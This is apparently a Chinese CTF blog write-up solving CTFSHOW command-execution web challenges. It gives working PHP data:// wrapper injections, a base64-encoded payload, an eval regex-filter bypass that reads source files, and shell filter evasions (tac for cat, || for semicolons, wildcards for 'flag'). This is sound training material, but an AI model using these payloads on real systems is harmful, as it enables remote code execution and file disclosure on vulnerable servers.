苦命的ctfer//每天都要刷题Ỏ̷͖͈̞̩͎̻̫̫̜͉̠̫͕̭̭̫̫̹̗̹͈̼̠̖͍͚̥͈̮̼͕̠̤̯̻̥̬̗̼̳̤̳̬̪̹͚̞̼̠͕̼̠̦͚̫͔̯̹͉͉̘͎͕̼̣̝͙̱̟̹̩̟̳̦̭͉̮̖̭̣̣̞̙̗̜̺̭̻̥͚͙̝̦̲̱͉͖͉̰̦͎̫̣̼͎͍̠̮͓̹̹͉̤̰̗̙͕͇͔̱͕̭͈̳̗̭͔̘̖̺̮̜̠͖̘͓̳͕̟̠̱̫̤͓͔̘̰̲͙͍͇̙͎̣̼̗̖͙̯͉̠̟͈͍͕̪͓̝̩̦̖̹̼̠̘̮͚̟͉̺̜͍͓̯̳̱̻͕̣̳͉̻̭̭̱͍̪̩̭̺͕̺̼̥̪͖̦̟͎̻̰_Ỏ̷͖͈̞̩͎̻̫̫̜͉̠̫͕̭̭̫̫̹̗̹͈̼̠̖͍͚̥͈̮̼͕̠̤̯̻̥̬̗̼̳̤̳̬̪̹͚̞̼̠͕̼̠̦͚̫͔̯̹͉͉̘͎͕̼̣̝͙̱̟̹̩̟̳̦̭͉̮̖̭̣̣̞̙̗̜̺̭̻̥͚͙̝̦̲̱͉͖͉̰̦͎̫̣̼͎͍̠̮͓̹̹͉̤̰̗̙͕͇͔̱͕̭͈̳̗̭͔̘̖̺̮̜̠͖̘͓̳͕̟̠̱̫̤͓͔̘̰̲͙͍͇̙͎̣̼̗̖͙̯͉̠̟͈͍͕̪͓̝̩̦̖̹̼̠̘̮͚̟͉̺̜͍͓̯̳̱̻͕̣̳͉̻̭̭̱͍̪̩̭̺͕̺̼̥̪͖̦̟͎̻̰\
命令执行篇
web1
php伪协议
`?c=data://text/plain,<?php system("tac fla*.php")?>`
所以直接就可以输出flag
web2
相较于上一题过滤了php这个关键词
没关系绕过就行
把后面的改为base64即可
?c=data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=
也可以`?c=data://text/plain,<?=system("tac fla*")?>`
web3
解释此函数
if(isset($_GET['c'])){ $c = $_GET['c'];
这里检查是否通过 GET 请求传递了一个名为 c
的参数。如果存在,就将其赋值给变量 $c
。
----
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ eval($c); }
- 使用
preg_match
对$c
进行正则过滤。它试图阻止一些常见的特殊字符(如数字、符号等),但这个过滤并不严格,因为:- 它没有包括所有可能的危险字符。
- 它并没有防止所有 PHP 注入攻击的途径。
- 如果
$c
中不包含这些特殊字符,代码将执行eval($c)
------
尝试构造payload?c==show_source(next(array_reverse(scandir(getcwd()))));
show_source(next(array_reverse(scandir(getcwd()))));
这是结合了多个 PHP 函数,目的是显示当前工作目录中的某个文件的源代码
web4
/dev/null
是 Unix-like 操作系统中的一个特殊设备文件。它被称为“空设备”或“黑洞”,它的作用是吞噬任何写入它的数据,即丢弃输入的数据。当你将输出重定向到 /dev/null
时,所有数据都会被丢弃,不会被显示在终端或者保存到文件中。
比如,下面的命令将标准输出重定向到文件 output.txt
:
echo "Hello, world!" > output.txt
这样,"Hello, world!"
将不会显示在终端,而是保存到 output.txt
文件中。
由此我们需要阻止该命令执行
用分号即可
?c=cat flag.php;
web5
PING PING PING
来个buu'的题爽一爽
尝试进入flag.php中
flag本身被屏蔽了
那我们需要绕过flag即可
发现flag
web6
cat 和分号被过滤了,绕过他们两个就行
tac代替cat,可以用||和&来代替分号\
?c=tac flag.php||
web7
同上,只不过多了flag
用fla*代替就行
标签:plain,写写,认真,flag,CTFSHOW,text,output,php,data From: https://blog.csdn.net/2401_87057954/article/details/143839340